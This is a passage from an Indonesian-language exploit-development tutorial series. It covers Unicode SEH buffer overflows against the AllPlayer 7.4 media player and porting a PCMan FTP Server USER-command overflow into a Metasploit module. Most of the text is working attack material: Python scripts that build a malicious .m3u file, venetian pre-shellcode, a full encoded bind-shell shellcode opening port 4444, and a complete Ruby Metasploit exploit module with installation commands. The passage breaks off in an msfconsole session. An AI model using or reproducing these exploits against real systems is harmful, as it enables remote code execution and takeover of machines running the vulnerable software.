006d 00      add byte ptr ss:[ebp],ch
c3           retn

Pre-shellcode di atas sering disebut sebagai venetian shellcode, kenapa disebut venetian karena instruksi 006d00 terlihat membuat jeda dan berlubang diantara intruksi tersebut seperti sebuah venetian blind (penutup jendela). Penjelasan ini mungkin terlihat membingungkan namun ketika nanti kita mencobanya pada aplikasi sebenarnya, saya harap pembaca dapat memahaminya dengan lebih mudah.

Eksploit kondisi Unicode: AllPlayer 7.4 Buffer Overflow (Unicode)

Eksploit ini dapat kita lihat di: https://www.exploit-db.com/exploits/42455. Jika kita lihat versi aplikasi ini (versi 5.8.1) terakhir dieksploitasi tahun 2014, tiga tahun kemudian versi 7.4 kembali mengalami kerentanan yang sama. Eksploitasi pada program ini sekilas dalam kondisi SEH + Unicode, cocok untuk menjadi contoh kasus.

Memastikan jumlah karakter ke SEH

Sama seperti proses sebelumnya, untuk mengetahui jumlah karakter yang dibutuhkan untuk mencapai SEH, kita akan menggunakan pattern_create dan pattern_offset. Kita bisa saja menggunakan nilai yang sudah ditentukan pada eksploit yang sudah ada, namun ada baiknya kita mengulanginya agar dapat mengikuti prosesnya dari awal. Berikut ini skrip 1.py sebagai awalan crash sekaligus untuk menentukan karakter-karakter yang menimpa SEH.

#!/usr/bin/python

head = b"http://"
junk = b"salin 5000 karakter dari pattern_create -l 5000 disini"

buffer = head + junk

print ("Ukuran payload: %s"%(len(buffer)))
f=open("1-player.m3u",'wb')
f.write(buffer)
f.close()

Skrip di atas akan menghasilkan file player.m3u. Load file tersebut ke program AllPlayer dan bisa kita lihat hasilnya di SEH.

Kondisi SEH setelah tertimpa dengan karakter pattern_create

Berbeda dengan kondisi SEH biasanya yang tertimpa secara penuh oleh karakter dari pattern_create, kali ini karakter tersebut hanya menimpa 2 bytes dari total 4 bytes. Lalu bagaimana kita bisa menentukan jumlah karakter yang tepat menimpa SEH? Dengan klik kanan pada alamat 0019EB84, kita bisa memilih Follow this address in stack.

Selanjutnya kita bisa menggabungkan nilai yang terdapat pada Next SEH dan SEH untuk mendapatkan jumlah karakter yang menimpa mereka dengan tepat.

Hasil pattern_offset terhadap karakter-karakter di NextSEH dan SEH

Kita bisa lihat pada cuplikan layar bahwa membutuhkan 301 karakter untuk mencapai Next SEH dan SEH. Untuk itu kita bisa memperbarui skrip 1.py dan menyimpannya jadi 2.py di bawah ini.

#!/usr/bin/python

head = b"http://"
junk = b"A" * 301
nseh = b"BB"
seh = b"CC"
sisa = b"D" * (5000-len(head+junk+nseh+seh))

buffer = head + junk + nseh + seh + sisa

print ("Ukuran payload: %s"%(len(buffer)))
f=open("2-player.m3u",'wb')
f.write(buffer)
f.close()

Jika diperhatikan variabel nseh dan seh hanya diisi dengan 2 karakter. Kalau kita jalankan skrip 2.py tersebut dan memuat lagi file 2-player.m3u, hasilnya akan seperti ini:

Oke sampai posisi ini kita lanjutkan dengan mencari alamat POP POP RET. Untuk mencari POP POP RET pada kondisi ini kita bisa menggunakan cara susah atau cara gampang. Cara susahnya, mau tidak mau kita mencari alamat tersebut manual dengan cara satu per satu berdasarkan hasil modul-modul yang tidak memiliki proteksi SafeSEH, ASLR, dan DEP. Belum lagi kita perlu mencari alamat ke instruksi POP POP RET yang kompatibel dengan format Unicode. Cara gampangnya menggunakan Mona.

Untuk menggunakan Mona, kita harus memindahkan debugger dari OllyDbg ke Immunity Debugger. Cara instalasi Mona yaitu dengan cara memindahkan file mona.py ke direktori Pycommands di dalam direktori instalasi Immunity Debugger (biasanya di C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands). Setelah dipasang, jalankan Immunity Debugger dan jalankan Mona dengan cara mengetikkan !mona di kolom kosong di atas status bar (bagian bawah jendela Immunity Debugger).

Lalu konfigurasikan lokasi direktori tempat Mona akan menyimpan hasil dari keluaran skrip dengan cara berikut:

!mona config -set workingfolder C:\monalogs

Untuk mencari instruksi POP POP RET, tempelkan program AllPlayer ke Immunity Debugger lalu kita muat kembali file 2-player.m3u ke dalam AllPlayer. Setelah crash, kita bisa menggunakan perintah di bawah ini untuk mencari instruksi POP POP RET:

!mona seh

Mona akan memberikan hasilnya di C:\monalogs\seh.txt. Pada file ini kita bisa lihat bahwa terdapat informasi yang lengkap:

  • Informasi proteksi SafeSEH, Rebase, ASLR, dan DEP setiap modul
  • Informasi mengenai modul mana yang bawaan program dan yang mana modul sistem operasi
  • Versi dari setiap modul, berguna untuk memastikan kompatibilitas eksploit pada versi Windows lainnya.

Menemukan alamat POP POP RET yang tepat

Jika kita perhatikan file seh.txt, banyak sekali alamat yang berisi rangkaian instruksi POP POP RET. Namun karena kondisi Unicode, pilihan untuk alamat ini jadi sangat terbatas. Beruntunglah Mona sudah menandai alamat-alamat tersebut dengan kata-kata unicode, ascii, dan asciiprint sehingga memudahkan kita untuk fokus pada pencarian alamat yang kompatibel dengan unicode.

kali@kali:~$ grep unicode seh.txt | grep ascii | grep -v ansi | cut -d " " -f 1-12
0x0047000f : pop ecx # pop ebp # ret 0x04 | startnull,unicode,ascii
0x0074007a : pop ecx # pop ebp # ret 0x04 | startnull,unicode,asciiprint,ascii,lower
0x00690020 : pop ecx # pop ebp # ret  | startnull,unicode,asciiprint,ascii,alphanum
0x00740037 : pop edx # pop ebx # ret  | startnull,unicode,asciiprint,ascii,alphanum,lowernum
0x0041003c : pop ebx # pop ebp # ret 0x0c | startnull,unicode,asciiprint,ascii
0x00430020 : pop esi # pop ebx # ret  | startnull,unicode,asciiprint,ascii,alphanum
0x00440068 : pop esi # pop ebx # ret  | startnull,unicode,asciiprint,ascii,alphanum
0x004d0040 : pop esi # pop ebx # ret  | startnull,unicode,asciiprint,ascii
0x004d0067 : pop esi # pop ebx # ret  | startnull,unicode,asciiprint,ascii,alphanum
0x0052002c : pop esi # pop ebx # ret  | startnull,unicode,asciiprint,ascii
0x0064006c : pop esi # pop ebx # ret  | startnull,unicode,asciiprint,ascii,lower
0x00760006 : pop esi # pop ebx # ret  | startnull,unicode,ascii
0x0047005d : pop ebx # pop ebp # ret 0x08 | startnull,unicode,asciiprint,ascii
0x006f0029 : pop ebx # pop ebp # ret 0x04 | startnull,unicode,asciiprint,ascii
0x006f003d : pop ebx # pop ebp # ret 0x04 | startnull,unicode,asciiprint,ascii
0x00740012 : pop ebx # pop ebp # ret 0x04 | startnull,unicode,ascii
kali@kali:~$

Setelah melakukan coba-coba terhadap alamat-alamat di atas selama beberapa waktu, saya menemukan bahwa alamat 0x004d0040 dapat digunakan dengan lancar. Kita akan menempelkan alamat tersebut pada skrip 3.py. Pada skrip ini saya juga mengisi posisi Next SEH dengan \x61\x62 yang akan saya jelaskan sesaat lagi.

#!/usr/bin/python

head = b"http://"
junk = b"A" * 301
nseh = b"\x61\x62"      #00620061, 0x61 bertindak sebagai POPAD dan 0x62 sebagai 'NOP'
seh = b"\x40\x4d"       # pop pop ret 0x004d0040
sisa = b"D" * (5000-len(head+junk+nseh+seh))

buffer = head + junk + nseh + seh + sisa

print ("Ukuran payload: %s"%(len(buffer)))
f=open("3-player.m3u",'wb')
f.write(buffer)
f.close()

Pada skrip di atas, SEH kita isi dengan \x40\x4d, hal ini dapat dimengerti karena alamat ini merupakan alamat yang menunjuk ke rangkaian instruksi POP POP RET. Namun pada Next SEH (nseh), saya mengisinya dengan \x61\62 yang apabila kita lihat di debugger akan menjadi seperti ini:

Posisi Next SEH di disassembler

Terlihat bahwa alamat Next SEH diterjemahkan oleh CPU menjadi:

0019eb84   61            POPAD
0019eb85   0062 00       ADD BYTE PTR DS:[EDX],AH
0019EB88   40            INC EAX
0019EB89   004D 00       ADD BYTE PTR SS:[EBP],CL
0019EB8C   44            INC ESP
0019EB8D   00440 44      ADD BYTE PTR DS:[EAX+EAX+44],AL

Instruksi POPAD di atas sangat berguna karena instruksi tersebut menarik sebagian memori stack teratas ke dalam register yang sudah ada.

Instruksi POPAD menarik beberapa baris teratas di memori stack

Akibat dari instruksi POPAD, kita dapat langsung melihat bahwa register EBX memegang posisi buffer/junk yang kita kontrol. Kondisi ini sangat cocok untuk sebuah barisan venetian shellcode.

Lebih lanjut ketika program menjalankan proses perubahan dari ASCII menjadi Unicode, karakter heksa \x62 diubah menjadi 0062 00 yang ketika tereksekusi tidak merusak register dan aliran proses eksekusi, sehingga karakter ini dapat kita anggap sebagai NOPsled. Begitupula dengan nilai yang ada di SEH, alamat \x00\x4d\x00\x40 (yang merupakan alamat ke instruksi POP POP RET) diterjemahkan oleh CPU menjadi INC EAX dan ADD BYTE PTR SS:[EBP],CL yang juga tidak merusak register selama proses eksekusi.

Jika kita perhatikan dengan kondisi di atas, aliran proses eksekusi dari Next SEH ke SEH dilewati dengan cara ‘berjalan’ bukan dengan cara ‘dilompati’ seperti pada proses eksploitasi SEH pada umumnya (kondisi non-unicode).

Membuat venetian shellcode

Seperti yang sudah dijelaskan di atas, bahwa venetian shellcode dianggap sebagai pra-shellcode, tujuannya untuk mengarahkan buffer yang kita kontrol ke salah satu register. Hal ini didasari pada teknik pembuatan shellcode yang umum dipakai pada kondisi Unicode, yaitu menggunakan teknik shellcode yang diawasandikan (decoding shellcode). Teknik ini berbentuk Unicode shellcode yang diawakodekan (encoded) dan akan melakukan pengawasandian (decoding) shellcode dari bentuk Unicode ke ASCII. Tentunya shellcode jenis ini memerlukan sebuah pengawasandian yang diletakkan sebelum shellcode tersebut. Ketika melakukan pengawasandian, shellcode jenis ini ini membutuhkan sebuah register yang dapat dijadikan sebagai pointer ke awalan shellcode tersebut. Untuk itu kita harus membuat instruksi yang akan mengarahkan salah satu register ke awalan shellcode tersebut. Jika diperhatikan pada proses sebelumnya, saat instruksi POPAD tereksekusi di Next SEH, kita dapat melihat bahwa register EBX memegang alamat buffer yang kita kontrol. Kita dapat memanfaatkan kondisi ini untuk mengarahkan EBX ke shellcode yang akan kita tempatkan di stack.

0019EB74   53            PUSH EBX
0019EB75   0062 00       ADD BYTE PTR DS:[EDX],AH
0019EB78   58            POP EAX
0019EB79   0062 00       ADD BYTE PTR DS:[EDX],AH
0019EB7C   05 00020001   ADD EAX,1000200
0019EB81   0062 00       ADD BYTE PTR DS:[EDX],AH
0019EB84   2D 00010001   SUB EAX,1000100
0019EB89   0062 00       ADD BYTE PTR DS:[EDX],AH
0019EB8C   50            PUSH EAX
0019EB8D   0062 00       ADD BYTE PTR DS:[EDX],AH
0019EB90   C3            RETN

Rangkaian bahasa rakitan di atas akan menyimpan nilai EBX ke EAX, lalu menambahkan nilai EAX sebanyak 100 byte, kemudian mengalihkan aliran aplikasi ke register EAX. Pada register EAX, kita akan menaruh shellcode yang akan dieksekusi setelah venetian shellcode.

Untuk membuat shellcode jenis ini, kita dapat menggunakan msfvenom

msfvenom -p windows/shell_bind_tcp -e x86/unicode_mixed BufferRegister=EAX -f python -v shellcode

Pada parameter msfvenom kita akan ubah encoder yang digunakan yaitu x86/unicode_mixed. Lalu kita juga perlu menambahkan opsi BufferRegister sesuai lokasi register yang sudah kita tentukan ketika mengarahkan shellcode kita ke salah satu register, yaitu register EAX. Berikut ini kita lengkapi skrip Python sebelumnya:

#!/usr/bin/python

head = b"http://"
junk = b"A" * 301
nseh = b"\x61\x62"      #00620061, 0x61 bertindak sebagai POPAD dan 0x62 sebagai 'NOP'
seh = b"\x40\x4d"       # pop pop ret 0x004d0040
jeda = b"D" * 109

#venetian shellcode
ven =b"\x53"           #push ebx
ven +=b"\x62"           #nop
ven +=b"\x58"           #pop eax
ven +=b"\x62"           #nop
ven +=b"\x05\x02\x01"   #add eax,01000200
ven +=b"\x62"           #nop
ven +=b"\x2d\x01\x01"   #sub eax,01000100
ven +=b"\x62"           #nop
ven +=b"\x50"           #push eax
ven +=b"\x62"           #nop
ven +=b"\xc3"           #ret

# msfvenom -p windows/shell_bind_tcp -e x86/unicode_mixed BufferRegister=EAX -f python -v shellcode
# x86/unicode_mixed chosen with final size 782
shellcode =  b""
shellcode += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49"
shellcode += b"\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
shellcode += b"\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x6a"
shellcode += b"\x58\x41\x51\x41\x44\x41\x5a\x41\x42\x41\x52"
shellcode += b"\x41\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41"
shellcode += b"\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31\x41"
shellcode += b"\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49"
shellcode += b"\x41\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49"
shellcode += b"\x51\x49\x41\x49\x51\x49\x31\x31\x31\x41\x49"
shellcode += b"\x41\x4a\x51\x59\x41\x5a\x42\x41\x42\x41\x42"
shellcode += b"\x41\x42\x41\x42\x6b\x4d\x41\x47\x42\x39\x75"
shellcode += b"\x34\x4a\x42\x69\x6c\x39\x58\x62\x62\x59\x70"
shellcode += b"\x6b\x50\x6b\x50\x53\x30\x51\x79\x68\x65\x4c"
shellcode += b"\x71\x59\x30\x42\x44\x42\x6b\x52\x30\x6e\x50"
shellcode += b"\x54\x4b\x32\x32\x5a\x6c\x52\x6b\x42\x32\x6e"
shellcode += b"\x34\x52\x6b\x44\x32\x6e\x48\x6a\x6f\x66\x57"
shellcode += b"\x4e\x6a\x6f\x36\x4c\x71\x4b\x4f\x64\x6c\x6d"
shellcode += b"\x6c\x53\x31\x71\x6c\x4d\x32\x4e\x4c\x4d\x50"
shellcode += b"\x67\x51\x48\x4f\x6a\x6d\x4b\x51\x59\x37\x37"
shellcode += b"\x72\x6b\x42\x70\x52\x30\x57\x54\x4b\x72\x32"
shellcode += b"\x6a\x70\x44\x4b\x6f\x5a\x4f\x4c\x44\x4b\x50"
shellcode += b"\x4c\x4e\x31\x70\x78\x6a\x43\x4f\x58\x59\x71"
shellcode += b"\x68\x51\x62\x31\x54\x4b\x30\x59\x6d\x50\x6d"
shellcode += b"\x31\x57\x63\x74\x4b\x31\x39\x4e\x38\x38\x63"
shellcode += b"\x4f\x4a\x51\x39\x44\x4b\x30\x34\x62\x6b\x6d"
shellcode += b"\x31\x6a\x36\x30\x31\x59\x6f\x36\x4c\x47\x51"
shellcode += b"\x38\x4f\x6c\x4d\x7a\x61\x48\x47\x4c\x78\x77"
shellcode += b"\x70\x71\x65\x69\x66\x49\x73\x43\x4d\x39\x68"
shellcode += b"\x4f\x4b\x71\x6d\x6b\x74\x44\x35\x67\x74\x72"
shellcode += b"\x38\x34\x4b\x61\x48\x6f\x34\x4b\x51\x38\x53"
shellcode += b"\x72\x46\x72\x6b\x5a\x6c\x50\x4b\x54\x4b\x31"
shellcode += b"\x48\x6b\x6c\x79\x71\x49\x43\x54\x4b\x5a\x64"
shellcode += b"\x54\x4b\x59\x71\x56\x70\x52\x69\x6f\x54\x4c"
shellcode += b"\x64\x4f\x34\x71\x4b\x6f\x6b\x61\x51\x4f\x69"
shellcode += b"\x71\x4a\x30\x51\x69\x6f\x6b\x30\x31\x4f\x51"
shellcode += b"\x4f\x6f\x6a\x54\x4b\x4d\x42\x6a\x4b\x52\x6d"
shellcode += b"\x31\x4d\x71\x58\x70\x33\x70\x32\x69\x70\x79"
shellcode += b"\x70\x52\x48\x33\x47\x62\x53\x6c\x72\x71\x4f"
shellcode += b"\x70\x54\x72\x48\x30\x4c\x31\x67\x4e\x46\x6c"
shellcode += b"\x47\x79\x6f\x78\x55\x64\x78\x66\x30\x39\x71"
shellcode += b"\x6b\x50\x39\x70\x6c\x69\x36\x64\x71\x44\x6e"
shellcode += b"\x70\x4f\x78\x4d\x59\x33\x50\x32\x4b\x49\x70"
shellcode += b"\x4b\x4f\x48\x55\x6f\x7a\x6d\x38\x42\x39\x42"
shellcode += b"\x30\x77\x72\x69\x6d\x4d\x70\x72\x30\x71\x30"
shellcode += b"\x6e\x70\x32\x48\x58\x6a\x5a\x6f\x49\x4f\x6b"
shellcode += b"\x30\x39\x6f\x7a\x35\x53\x67\x30\x68\x4a\x62"
shellcode += b"\x39\x70\x4a\x71\x51\x4c\x34\x49\x77\x76\x42"
shellcode += b"\x4a\x6c\x50\x6f\x66\x31\x47\x63\x38\x66\x62"
shellcode += b"\x69\x4b\x6c\x77\x32\x47\x79\x6f\x57\x65\x42"
shellcode += b"\x37\x43\x38\x75\x67\x6b\x39\x6e\x58\x4b\x4f"
shellcode += b"\x6b\x4f\x79\x45\x6e\x77\x72\x48\x31\x64\x48"
shellcode += b"\x6c\x4f\x4b\x38\x61\x6b\x4f\x47\x65\x62\x37"
shellcode += b"\x54\x57\x33\x38\x44\x35\x62\x4e\x4e\x6d\x4f"
shellcode += b"\x71\x59\x6f\x78\x55\x61\x58\x31\x53\x42\x4d"
shellcode += b"\x63\x34\x6b\x50\x33\x59\x48\x63\x4f\x67\x30"
shellcode += b"\x57\x42\x37\x50\x31\x48\x76\x72\x4a\x4c\x52"
shellcode += b"\x4e\x79\x50\x56\x77\x72\x39\x6d\x62\x46\x59"
shellcode += b"\x37\x6d\x74\x6c\x64\x6d\x6c\x6a\x61\x4d\x31"
shellcode += b"\x74\x4d\x4e\x64\x6b\x74\x4e\x30\x55\x76\x59"
shellcode += b"\x70\x31\x34\x50\x54\x62\x30\x32\x36\x71\x46"
shellcode += b"\x71\x46\x61\x36\x52\x36\x70\x4e\x30\x56\x31"
shellcode += b"\x46\x70\x53\x51\x46\x53\x38\x53\x49\x38\x4c"
shellcode += b"\x4d\x6f\x63\x56\x49\x6f\x79\x45\x45\x39\x37"
shellcode += b"\x70\x70\x4e\x42\x36\x50\x46\x79\x6f\x4c\x70"
shellcode += b"\x61\x58\x59\x78\x53\x57\x4b\x6d\x33\x30\x79"
shellcode += b"\x6f\x46\x75\x37\x4b\x6a\x50\x65\x65\x45\x52"
shellcode += b"\x30\x56\x32\x48\x73\x76\x72\x75\x35\x6d\x53"
shellcode += b"\x6d\x6b\x4f\x47\x65\x4f\x4c\x6c\x46\x51\x6c"
shellcode += b"\x7a\x6a\x73\x50\x69\x6b\x39\x50\x74\x35\x4b"
shellcode += b"\x55\x65\x6b\x4e\x67\x6b\x63\x31\x62\x52\x4f"
shellcode += b"\x52\x4a\x59\x70\x51\x43\x69\x6f\x46\x75\x41"
shellcode += b"\x41"

sisa = b"D" * (5000-len(head+junk+nseh+seh+jeda+ven+shellcode))

buffer = head + junk + nseh + seh + ven + jeda + shellcode + sisa

print ("Ukuran payload: %s"%(len(buffer)))
f=open("4-player.m3u",'wb')
f.write(buffer)
f.close()

Saya menyimpannya dengan nama 4.py. Jika diperhatikan saya menambahkan jeda sebanyak 109 byte (0x6e) setelah venetian pra-shellcode untuk kompensasi buffer sebagai akibat dari proses penyesuaian di EAX. Jika kita jalankan skrip di atas dan kita muat di AllPlayer:

Register EAX menunjuk ke shellcode yang diawakodekan

Setelah instruksi PUSH EAX + RETN tereksekusi, aliran eksekusi akan mengarah ke Unicode shellcode yang selanjutnya melakukan pengawasandian shellcode dari bentuk Unicode ke bentuk ASCII.

Hasil shellcode yang telah diawasandikan ke ASCII setelah pengawakodean Unicode

Setelah proses pengawasandian selesai, shellcode dalam bentuk ASCII akan tereksekusi dan membuka port 4444 sesuai konfigurasi shellcode yang dibuat menggunakan msfvenom.

w00t

w00t! Kita berhasil menghadapi kondisi Unicode dalam proses pembuatan eksploit. Dari hasil eksploitasi di atas, pembuatan eksploit dalam kondisi Unicode terlihat sangat mungkin dilakukan, namun pada kenyataannya sukses atau tidaknya proses eksploitasi dalam kondisi Unicode sedikit mengandalkan keberuntungan. Dulu saya menemukan buffer overflow pada aplikasi Cyberlink Wave Editor, namun saya tidak dapat menemukan alamat yang tepat (untuk stack walk di Next SEH dan SEH) agar eksploitnya bekerja dengan baik. Namun kerentanan tetaplah kerentanan, sehingga tetap saya laporkan ke pihak Cyberlink.

Apabila nanti ketemu kondisi Unicode dalam proses fuzzing, mudah-mudahan apa yang disampaikan disini dapat membantu menyelesaikan apa yang sudah dimulai 😀

Referensi

Membangun Eksploitasi Windows Bagian 5: Memindahkan eksploit ke Metasploit

Pada tulisan sebelumnya kita sudah membahas bagaimana proses eksploitasi terhadap stack overflow dengan kondisi langsung menimpa EIP atau SEH. Eksploit tersebut dapat kita tulis dengan bahasa pemrograman apapun, kebetulan yang saya pakai dari kemarin menggunakan Python.

Metasploit adalah sebuah framework yang dikembangkan dengan tujuan untuk memudahkan proses eksploitasi, terutama terkait dengan manajemen dan pengiriman payload eksploit. Metasploit dibuat menggunakan bahasa Ruby dan bersifat open source. Karena sifatnya yang open source dan merupakan sebuah framework, Metasploit bisa menerima kode eksploit yang dibuat di luar framework namun harus mengikuti kaidah-kaidah yang ditentukan oleh Metasploit.

Pada tulisan ini kita akan memindahkan eksploit yang sudah kita tulis sebelumnya yaitu PCManFTP Server. Jika kita cari pada eksploit Metasploit, sudah ada eksploit untuk PCManFTP server namun eksploit tersebut hanya untuk fungsi PUT dan STOR, sementara kerentanan pada eksploit yang kita buat ada pada fungsi USER. Kondisi ini cocok untuk dijadikan contoh.

Metasploit memiliki template yang dapat digunakan sebagai referensi format pembuatan eksploit di Metasploit. Lokasinya ada di mesin Kali di direktori /usr/share/metasploit-framework/modules/exploits/example.rb atau bisa langsung diunduh dari Github repositori mereka: example.rb. Agar mendapatkan contoh yang sudah terbukti berfungsi dan benar, saya akan mengambil contoh dari file /usr/share/metasploit-framework/modules/exploits/windows/ftp/pcman_put.rb. Berikut adalah isi dari file tersebut.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PCMAN FTP Server Buffer Overflow - PUT Command',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in the PUT command of the
          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
          credentials are enabled.
      },
      'Author'         =>
          [
            'Jay Turla',      # Initial Discovery -- @shipcod3
            'Chris Higgins'   # msf Module -- @ch1gg1ns
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-4730' ],
          [ 'EDB',   '37731'],
          [ 'OSVDB',   '94624']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'   => 1000,
          'BadChars'  => "\x00\x0A\x0D",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English',
            {
              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
              'Offset' => 2007
            }
          ],
        ],
      'DisclosureDate' => 'Aug 07 2015',
      'DefaultTarget'  => 0))
  end

  def post_auth?
    true
  end

  def check
    connect_login
    disconnect

    if /220 PCMan's FTP Server 2\.0/ === banner
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end


  def exploit
    connect_login

    print_status('Generating payload...')
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(16)
    sploit << payload.encoded

    send_cmd( ["PUT", sploit], false )
    disconnect
  end
end

Jika diperhatikan, ada bagian-bagian yang perlu disesuaikan (bagian yang disoroti) agar dapat berfungsi sesuai dengan eksploit yang sudah berfungsi sebelumnya dalam bahasa Python. Untuk dapat memindahkan eksploit sebelumnya yang menggunakan bahasa Python, kita perlu menjabarkan kembali bagian-bagian penting dari eksploit PCManFTP tersebut yaitu:

sc = shellcode
target = '172.16.165.133'
size = 5000
junk = b"A" * 2001
junk +=b"\x27\x7E\x1B\x77" #JMP ESP 0x771B7E27 dari Shell32.DLL
junk +=b"C" * 4
junk +=b"\x90" * 16
junk +=sc
junk +=b"\xcc" * (size-len(junk))

junk merupakan nama yang saya gunakan sebagai variabel inti, semua karakter eksploit dikirimkan menggunakan variabel ini. Jika dipecah per fungsinya, maka jadi seperti ini:

junk/buffer (A) + EIP (jmp esp) + ekstra (4 karakter C) + NOPSled (16 karakter "\x90") + shellcode + sisa buffer ("\xcc")

Sampai saat ini, kita simpan dulu bagian-bagian dari eksploit di atas dan akan kita bahas berurutan dari paling atas.

include Msf::Exploit::Remote::Ftp merupakan penanda bahwa skrip di atas membutuhkan fungsi koneksi ke layanan FTP. Pada bagian def initialize(info = {}) terdapat informasi-informasi yang berkaitan dengan eksploit tersebut. Sebagai contoh bagian Payload dan Targets memberikan gambaran hal-hal yang perlu disesuaikan. Bagian def exploit mengisyaratkan sebuah urutan eksploitasi, mirip rangkaian fungsi sudah kita jabarkan di atas.

Jika kita gabungkan, maka beberapa hal yang perlu disesuaikan adalah:

Bagian Targets:

'Targets'        =>
          [
            [ 'Windows 10 Enterprise Evaluation (version 1909)',
              {
                'Ret' => 0x76ca7e48, # jmp esp C:\WINDOWS\system32\shell32.dll
                'Offset' => 2001
              }
            ],
          ],

Pada baris ke-3 saya ubah nama Targets menjadi Windows 10 Enterprise Evaluation (version 1909). Lalu pada baris ke-5 bagian Ret diisi dengan alamat ke JMP ESP pada modul shell32.dll. Offset pada baris ke-6 merupakan jumlah karakter yang dibutuhkan untuk mencapai EIP (junk/buffer) yaitu sebanyak 2001 karakter.

Lalu pada bagian def exploit seperti ini:

def exploit
    connect

    print_status('Generating payload...')
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(16)
    sploit << payload.encoded

    send_cmd( ["USER", sploit], false )
    disconnect
end

bagian def exploit merupakan bagian yang paling penting karena pada bagian ini adalah rangkaian eksploit persis seperti urutan pada eksploit sebelumnya yang menggunakan bahasa Python. Baris ke-2 adalah metode connect yang merupakan bagian dari modul Msf::Exploit::Remote::Ftp. Pada skrip PCManFTP sebelumnya (pcman_put.rb), baris ini menggunakan metode connect_login yang menurut saya tidak tepat untuk kondisi eksploit kita, karena metode connect_login akan mengirimkan parameter USER dan PASS ke FTP server target. Pada eksploit yang kita bangun, kerentanan yang kita eksploit ada pada parameter USER, untuk itu kita tidak perlu menggunakan metode connect_login, melainkan metode connect saja. Pada baris 5–8 merupakan rangkaian eksploit yang dapat dijelaskan sebagai berikut.

  • rand_text_alpha(target['Offset']) — fungsi Metasploit untuk menghasilkan karakter acak sebanyak jumlah yang ditentukan di opsi ‘Offset’
  • [target.ret].pack('V') — bagian ini mengambil nilai dari opsi Target -> Ret, yang berisi alamat JMP ESP
  • make_nops(16) — bagian ini akan menghasilkan NOPsled sebanyak 16 byte
  • payload.encoded — bagian ini merupakan fungsi dari Metasploit untuk menghasilkan payload utama

Pada baris 10, send_cmd( ["USER", sploit], false ) mengirimkan parameter yang memiliki kerentanan, yaitu USER diikuti oleh variabel sploit yang berisi payload eksploit.

Jika digabungkan maka akan jadi seperti ini:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
  
    include Msf::Exploit::Remote::Ftp
  
    def initialize(info = {})
      super(update_info(info,
        'Name'           => 'PCMAN FTP Server Buffer Overflow - USER Command',
        'Description'    => %q{
            This module exploits a buffer overflow vulnerability found in the USER command of the
            PCMAN FTP v2.0.7 Server. This exploit doesn't require authentication.
        },
        'Author'         =>
            [
              'saya'   # msf Module
            ],
        'License'        => MSF_LICENSE,
        'References'     =>
          [
            [ 'CVE', '2013-4730' ]
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'process'
          },
        'Payload'        =>
          {
            'Space'   => 1000,
            'BadChars'  => "\x00\x0A\x0D",
          },
        'Platform'       => 'win',
        'Targets'        =>
          [
            [ 'Windows 10 Enterprise Evaluation (version 1909)',
              {
                'Ret' => 0x76ca7e48, # jmp esp C:\WINDOWS\system32\shell32.dll
                'Offset' => 2001
              }
            ],
          ],
        'DisclosureDate' => 'Aug 07 2015',
        'DefaultTarget'  => 0))
    end
  
    def check
      connect_login
      disconnect
  
      if /220 PCMan's FTP Server 2\.0/ === banner
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    end
  
  
    def exploit
      connect
  
      print_status('Generating payload...')
      sploit = rand_text_alpha(target['Offset'])
      sploit << [target.ret].pack('V')
      sploit << make_nops(16)
      sploit << payload.encoded
  
      send_cmd( ["USER", sploit], false )
      disconnect
    end
  end

Simpan file tersebut dengan nama pcman_user.rb (atau apa pun) lalu letakkan di direktori local Metasploit (bukan direktori instalasi utama) yang berada pada /home.

kali@kali:~$ mkdir -p ~/.msf4/modules/exploits/windows/ftp/
kali@kali:~$ cp pcman_user.rb ~/.msf4/modules/exploits/windows/ftp/

Lalu jalankan Metasploit dan pastikan bahwa modul pcman_user.rb sudah berhasil dimuat oleh Metasploit.

kali@kali:~$ sudo -E msfconsole
[sudo] password for kali:  
                                                  
_                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
     |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


      =[ metasploit v5.0.94-dev                          ]
+ -- --=[ 2035 exploits - 1103 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Save the current environment with the save command, future console restarts will use this environment again

msf5 > search pcman

Matching Modules
================

  #  Name                                       Disclosure Date  Rank    Check  Description
  -  ----                                       ---------------  ----    -----  -----------
  0  auxiliary/scanner/ftp/pcman_ftp_traversal  2015-09-28       normal  Yes    PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure
